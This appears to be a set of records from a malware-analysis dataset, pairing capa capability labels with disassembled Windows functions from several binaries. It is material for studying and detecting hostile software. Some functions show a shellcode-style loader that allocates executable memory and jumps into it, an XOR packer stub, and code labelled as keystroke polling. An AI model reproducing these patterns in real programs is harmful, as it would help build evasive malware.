joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401727
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [0x439b68]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x439620], eax
ret

Function at 0x401742
Capabilities:
Get hostname
Get system information on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2028
call fcn.0040ab80
push esi
xor esi, esi
cmp dword [0x439b68], 0x20a
push edi
mov edi, 0x436e88
jne 0x4017b7
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push str.runexobozez
push edi
call fcn.00401bff
push 0x929
push 0xea
call fcn.00401a63
push 0x40e4cc
push str.0.txt
push esi
call fcn.00401b67
push esi
push esi
push esi
call fcn.004020a7
push esi
push esi
call fcn.00401957
add esp, 0x30
push ebx
xor ebx, ebx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
cmp ebx, 0x90ce655
jg 0x4017d3
inc ebx
cmp ebx, 0x7048dce2
jl 0x4017ba
call fcn.00401713
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x439b68]
mov dword [0x439624], eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x439620], eax
call fcn.00401727
mov eax, dword [0x42f3f4]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
xor ebx, ebx
mov dword [0x439b6c], eax
cmp dword [0x439b68], esi
jbe 0x401846
mov eax, dword [0x439b6c]
mov al, byte [eax + ebx + 0xb2d3b]
mov ecx, dword [0x439620]
mov byte [ecx + ebx], al
cmp dword [0x439b68], 0x44
jne 0x40183d
push esi
lea eax, [ebp - 0x828]
push eax
call edi
inc ebx
cmp ebx, dword [0x439b68]
jb 0x401815
xor ebx, ebx
mov eax, dword [0x439b68]
add eax, ebx
cmp eax, 0x5e
jne 0x4018a4
push esi
lea eax, [ebp - 0x1828]
push eax
call edi
push esi
lea eax, [ebp - 0x428]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push esi
lea eax, [ebp - 0x1028]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push str.muweyofuzevidixiduyuriwa
lea eax, [ebp - 0x2028]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
inc ebx
cmp ebx, 0x40c893
jl 0x401848
call fcn.00401676
pop ebx
cmp esi, 0xc06
jne 0x4018c0
call fcn.004016f9
inc esi
cmp esi, 0x246b35
jl 0x4018b3
mov eax, dword [0x439620]
mov dword [0x439b28], eax
call eax
pop edi
pop esi
leave
ret

Function at 0x4049f0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e438]
jne 0x4049fa
repz ret
jmp fcn.00409f0a
Function at 0x409bc5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405754
and dword [ebp - 4], 0
cmp dword [0x436a80], 0
mov ebx, eax
jne 0x409c76
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409d27
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409d27
push eax
call fcn.004056e2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x436a80], eax
call esi
push eax
call fcn.004056e2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x436a84], eax
call esi
push eax
call fcn.004056e2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x436a88], eax
call esi
push eax
call fcn.004056e2
pop ecx
mov dword [0x436a90], eax
test eax, eax
je 0x409c76
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004056e2
pop ecx
mov dword [0x436a8c], eax
mov eax, dword [0x436a8c]
cmp eax, ebx
je 0x409cce
cmp dword [0x436a90], ebx
je 0x409cce
push eax
call fcn.0040575d
push dword [0x436a90]
mov esi, eax
call fcn.0040575d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409cce
test edi, edi
je 0x409cce
call esi
test eax, eax
je 0x409cc5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409cc5
test byte [ebp - 0xc], 1
jne 0x409cce
or dword [ebp + 0x10], 0x200000
jmp 0x409d07
mov eax, dword [0x436a84]
cmp eax, ebx
je 0x409d07
push eax
call fcn.0040575d
pop ecx
test eax, eax
je 0x409d07
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409d07
mov eax, dword [0x436a88]
cmp eax, ebx
je 0x409d07
push eax
call fcn.0040575d
pop ecx
test eax, eax
je 0x409d07
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x436a80]
call fcn.0040575d
pop ecx
test eax, eax
je 0x409d27
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409d29
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x687e516c
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x7f163dc
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x403960
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x470338
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x4f8028]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esi + 4]
lea eax, [esp + 0x18]
push eax
push 0x18
push ecx
call dword [sym.imp.GDI32.dll_GetObjectW]
lea ecx, [esp + 8]
call sub.MFC80U.DLL_Ordinal_347
test edi, edi
mov dword [esp + 0x38], 0
jne 0x4039b0
xor eax, eax
jmp 0x4039b3
mov eax, dword [edi + 4]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push eax
lea ecx, [esp + 0xc]
call sub.MFC80U.DLL_Ordinal_1270
mov eax, dword [esi + 4]
mov edx, dword [esp + 0xc]
push eax
push edx
call sub.MFC80U.DLL_Ordinal_5633
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push 0xcc0020
push 0
push 0
mov esi, eax
mov eax, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x54]
push ecx
mov ecx, dword [esp + 0x54]
push edx
mov edx, dword [edi + 4]
push eax
push ecx
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
test esi, esi
je 0x403a07
mov esi, dword [esi + 4]
mov eax, dword [esp + 0xc]
push esi
push eax
call sub.MFC80U.DLL_Ordinal_5633
lea ecx, [esp + 8]
mov dword [esp + 0x38], 0xffffffff
call sub.MFC80U.DLL_Ordinal_602
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x34
ret
Function at 0x403fd0
Capabilities:
Check if file exists
Get file attributes
Manipulate boot configuration
Set registry value

Disassembly:
sub esp, 0x810
mov eax, dword [0x4f8028]
xor eax, esp
mov dword [esp + 0x80c], eax
push ebx
push ebp
push esi
push edi
xor esi, esi
push 0x206
lea eax, [esp + 0x1a]
push esi
push eax
mov word [esp + 0x20], si
call sub.ntdll.dll_memset
add esp, 0xc
test byte [0x50354c], 1
jne 0x40401c
or dword [0x50354c], 1
mov dword [0x503548], 0x4e7844
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ebx, ebx
jmp 0x404030
push 0x1fe
lea edx, [esp + 0x222]
lea ecx, [ebx + 0x42]
push esi
push edx
movzx edi, cx
mov word [esp + 0x228], si
call sub.ntdll.dll_memset
push 0x1fe
lea eax, [esp + 0x42e]
push esi
push eax
mov word [esp + 0x434], si
call sub.ntdll.dll_memset
push 0x1fe
lea ecx, [esp + 0x63a]
push esi
push ecx
mov word [esp + 0x640], si
call sub.ntdll.dll_memset
movzx esi, di
push esi
push 0x475a18
lea edx, [esp + 0x248]
call fcn.00404df0
push esi
push str._c:_boot.ini
lea edx, [esp + 0x650]
call fcn.00404df0
push esi
push str._c:_bootmgr
lea edx, [esp + 0x458]
call fcn.00404df0
add esp, 0x3c
lea edx, [esp + 0x61c]
push edx
call ebp
cmp eax, 0xffffffff
je 0x4040e1
lea eax, [esp + 0x21c]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x404103
lea ecx, [esp + 0x41c]
push ecx
call ebp
cmp eax, 0xffffffff
jne 0x404103
add ebx, 1
cmp ebx, 0x19
jge 0x40417e
xor esi, esi
jmp 0x404030
lea edx, [esp + 0x10]
push edx
push 0xf003f
push 0
push str.SystemSetup
push 0x80000002
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x404199
test byte [0x503544], 1
jne 0x40415c
or dword [0x503544], 1
push 0x4732e0
mov dword [0x503520], 0x4e7bc8
mov dword [0x503524], 0xffffffff
call fcn.0046d920
add esp, 4
mov esi, dword [0x503520]
push 0x6d
add esi, 8
call fcn.00403dd0
push eax
mov eax, dword [esi]
push str._s:_Failed_to_RegOpenKeyEx.
push 0x503520
call eax
add esp, 0x10
xor eax, eax
mov ecx, dword [esp + 0x81c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0046d6fd
add esp, 0x810
ret
mov edx, dword [0x503548]
mov eax, dword [edx + 0x24]
push edi
push 0x104
lea ecx, [esp + 0x1c]
push ecx
mov ecx, 0x503548
call eax
lea eax, [esp + 0x14]
lea edx, [eax + 2]
jmp 0x4041c0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4041c0
sub eax, edx
sar eax, 1
lea ecx, [eax + eax]
mov eax, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
push 1
push 0
push str.SystemPartition
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [esp + 0x10]
mov esi, eax
neg esi
sbb esi, esi
push ecx
add esi, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x404180
Function at 0x40f940
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
push esi
mov esi, eax
push 0
lea eax, [esp + 0x10]
push eax
push 0
push esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x40f9d9
call fcn.0040f8e0
test eax, eax
jne 0x40f9d9
mov eax, 1
test byte [0x503544], al
jne 0x40f9a8
or dword [0x503544], eax
push 0x4732e0
mov dword [0x503520], 0x4e7bc8
mov dword [0x503524], 0xffffffff
call fcn.0046d920
add esp, 4
mov esi, dword [0x503520]
push 0x76
mov ecx, str.d:workDDCDDCIncludeDiskIO.h
add esi, 8
call fcn.0040f810
mov ecx, dword [esi]
add esp, 4
push eax
push str._s:_Failed_to_SetSectorPos_in_ReadSector.
push 0x503520
call ecx
add esp, 0xc
xor eax, eax
pop esi
add esp, 0xc
ret
mov eax, dword [esp + 0x14]
push 0
lea edx, [esp + 8]
push edx
push 0x200
push eax
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x40f9d2
test eax, eax
je 0x40f9d2
test ecx, 0x1ff
jne 0x40f9d2
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x412080
Capabilities:
Compare security identifiers

Disassembly:
sub esp, 0x1c
mov eax, dword [0x4f8028]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [esp + 0x3c]
push ecx
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 5
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x41211c
lea edx, [esp + 4]
push edx
push 1
push 0x2000a
mov dword [esp + 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x41212e
lea eax, [esp + 4]
push eax
push 0x2000a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x41212e
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0046d6fd
add esp, 0x1c
ret
mov eax, dword [esp + 4]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea edx, [esp + 0x18]
push edx
push ebx
push ebx
push 2
push eax
mov dword [esp + 0x2c], ebx
call edi
mov eax, dword [esp + 0x18]
push 1
push eax
mov ebp, eax
call dword [sym.imp.MSVCR80.dll_calloc]
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x41218e
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0046d6fd
add esp, 0x1c
ret
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push ebp
push esi
push 2
push ecx
call edi
cmp dword [esi], ebx
jbe 0x4121d8
mov ebp, dword [sym.imp.ADVAPI32.dll_EqualSid]
lea edi, [esi + 8]
jmp 0x4121b0
mov edx, dword [esp + 0x14]
mov eax, dword [edi - 4]
push edx
push eax
call ebp
test eax, eax
je 0x4121c4
test byte [edi], 6
jne 0x4121d0
add ebx, 1
add edi, 8
cmp ebx, dword [esi]
jb 0x4121b0
jmp 0x4121d8
mov dword [esp + 0x1c], 1
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.MSVCR80.dll_free]
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x20]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0046d6fd
add esp, 0x1c
ret
Function at 0x4122b0
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x1c
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4122d1
xor eax, eax
add esp, 0x1c
ret
lea ecx, [esp + 0xc]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp + 4]
push 0
push 0
push 0
lea edx, [esp + 0x14]
push edx
push 0
push eax
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4122cb
push eax
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
add esp, 0x1c
ret

Function at 0x412330
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x412350
xor eax, eax
add esp, 0x14
ret
lea ecx, [esp + 8]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp]
push 0
push 0
push 0
lea edx, [esp + 0x10]
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x41234a
push eax
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
add esp, 0x14
ret

Function at 0x4123b0
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x4f8028]
xor eax, esp
mov dword [esp + 0x114], eax
push 0x110
lea eax, [esp + 8]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 4], 6
mov ecx, dword [esp + 0x114]
sbb eax, eax
xor ecx, esp
add eax, 1
call fcn.0046d6fd
add esp, 0x118
ret
Function at 0x412750
Capabilities:
Set registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 4]
push eax
lea ecx, [esp + 4]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareSysinternalsLdmDump
push 0x80000001
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x412794
xor eax, eax
add esp, 0xc
ret
mov eax, dword [esp]
push esi
push 4
lea edx, [esp + 0x10]
push edx
push 4
push 0
push str.EulaAccepted
push eax
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [esp + 4]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
add esp, 0xc
ret

Function at 0x412d40
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x10c
mov eax, dword [0x4f8028]
xor eax, esp
mov dword [esp + 0x108], eax
push esi
call fcn.00412ce0
mov esi, eax
test esi, esi
jne 0x412d76
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0046d6fd
add esp, 0x10c
ret
push edi
push 0xff
lea eax, [esp + 0x15]
push 0
push eax
mov byte [esp + 0x1c], 0
call sub.ntdll.dll_memset
add esp, 0xc
push esi
push 0x100
lea ecx, [esp + 0x18]
push ecx
push 0x478a98
push 0x478a9c
push str.CONFIG
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 0x10]
push edx
call fcn.004127d0
add esp, 4
test al, al
je 0x412ea5
push 4
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
push 5
push ecx
mov byte [esp + 0x18], 0
mov dword [esp + 0x19], 0
call dword [sym.imp.MSVCR80.dll_memcpy_s]
add esp, 0x10
mov edi, str.AOPR
lea esi, [esp + 8]
mov ecx, 5
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x412e17
pop edi
lea eax, [edx + 4]
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0046d6fd
add esp, 0x10c
ret
mov edi, str.AOSR
lea esi, [esp + 8]
mov ecx, 5
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x412e47
pop edi
mov eax, 5
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0046d6fd
add esp, 0x10c
ret
mov edi, str.AOUN
lea esi, [esp + 8]
mov ecx, 5
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x412e75
pop edi
lea eax, [edx + 7]
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0046d6fd
add esp, 0x10c
ret
mov edi, str.AOTE
lea esi, [esp + 8]
mov ecx, 5
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x412ea5
pop edi
mov eax, 6
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0046d6fd
add esp, 0x10c
ret
call fcn.00412ed0
mov ecx, dword [esp + 0x110]
pop edi
pop esi
xor ecx, esp
call fcn.0046d6fd
add esp, 0x10c
ret
Function at 0x412ed0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x104
mov eax, dword [0x4f8028]
xor eax, esp
mov dword [esp + 0x100], eax
push esi
call fcn.00412ce0
mov esi, eax
test esi, esi
jne 0x412f06
pop esi
mov ecx, dword [esp + 0x100]
xor ecx, esp
call fcn.0046d6fd
add esp, 0x104
ret
push 0xff
lea eax, [esp + 9]
push 0
push eax
mov byte [esp + 0x10], 0
call sub.ntdll.dll_memset
add esp, 0xc
push esi
push 0x100
lea ecx, [esp + 0xc]
push ecx
push 0x478a98
push 0x478aa8
push 0x478aa8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 4]
push edx
call dword [sym.imp.ntdll.dll_atoi]
add esp, 4
cmp eax, 0x42
je 0x412f61
cmp eax, 1
jl 0x412f5c
cmp eax, 7
jle 0x412f61
mov eax, 2
mov ecx, dword [esp + 0x104]
pop esi
xor ecx, esp
call fcn.0046d6fd
add esp, 0x104
ret
Function at 0x414260
Capabilities:
Log keystrokes via polling

Disassembly:
push 0xffffffffffffffff
push 0x46fe31
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4f8028]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC80U.DLL_Ordinal_293]
lea ecx, [esp + 0x20]
mov dword [esp + 0x34], 0
call dword [sym.imp.MFC80U.DLL_Ordinal_293]
mov byte [esp + 0x34], 1
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 1
call edi
test ax, ax
jne case.0x4142e6.513
push 2
call edi
test ax, ax
jne case.0x4142e6.513
mov eax, dword [esp + 0x3c]
mov eax, dword [eax + 4]
add eax, 0xfffffe00
cmp eax, 7
ja case.0x4142e6.514
movzx ecx, byte [eax + 0x4143c4]
jmp dword [ecx*4 + 0x4143b8]
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0x5c]
push eax
push ecx
lea eax, [esp + 0x20]
call fcn.00414ab0
test eax, eax
je 0x41436f
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push edx
push eax
call fcn.00414ad0
mov ebp, eax
test ebp, ebp
je 0x41436f
mov ebx, dword [ebp + 0x20]
lea ecx, [esp + 0x20]
push ecx
lea edi, [esi + 0x80]
call fcn.00414520
test eax, eax
je 0x41436f
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
mov dword [esi + 0x7c], ebp
mov dword [esi + 0x5c], edx
mov dword [esi + 0x60], eax
call fcn.004143f0
lea ecx, [esp + 0x18]
push ecx
push ecx
lea edx, [esp + 0x28]
mov ecx, esp
mov dword [esp + 0x44], esp
push edx
call dword [sym.imp.MFC80U.DLL_Ordinal_280]
call fcn.00413c20
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0x5c]
push eax
push ecx
lea eax, [esp + 0x20]
call fcn.00414ab0
test eax, eax
je case.0x4142e6.514
push 0
mov ecx, esi
call sub.MFC80U.DLL_Ordinal_6086
lea ecx, [esp + 0x20]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
lea ecx, [esp + 0x14]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4

Function at 0x414480
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x46fdf8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
mov eax, dword [0x4f8028]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
lea ecx, [esp + 8]
call dword [sym.imp.MFC80U.DLL_Ordinal_293]
mov eax, dword [esp + 0x2c]
xor esi, esi
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], esi
call dword [sym.imp.MFC80U.DLL_Ordinal_776]
sub esp, 8
mov dword [esp + 0x14], esi
mov esi, esp
lea ecx, [esp + 0x10]
mov dword [esp + 0x34], esp
push ecx
mov ecx, esi
call dword [sym.imp.MFC80U.DLL_Ordinal_280]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x30]
mov dword [esi + 4], edx
mov ecx, dword [eax + 0x20]
mov edx, dword [esp + 0x2c]
push ecx
add edx, 0x80
push edx
call fcn.00414580
lea ecx, [esp + 8]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x18
ret 0xc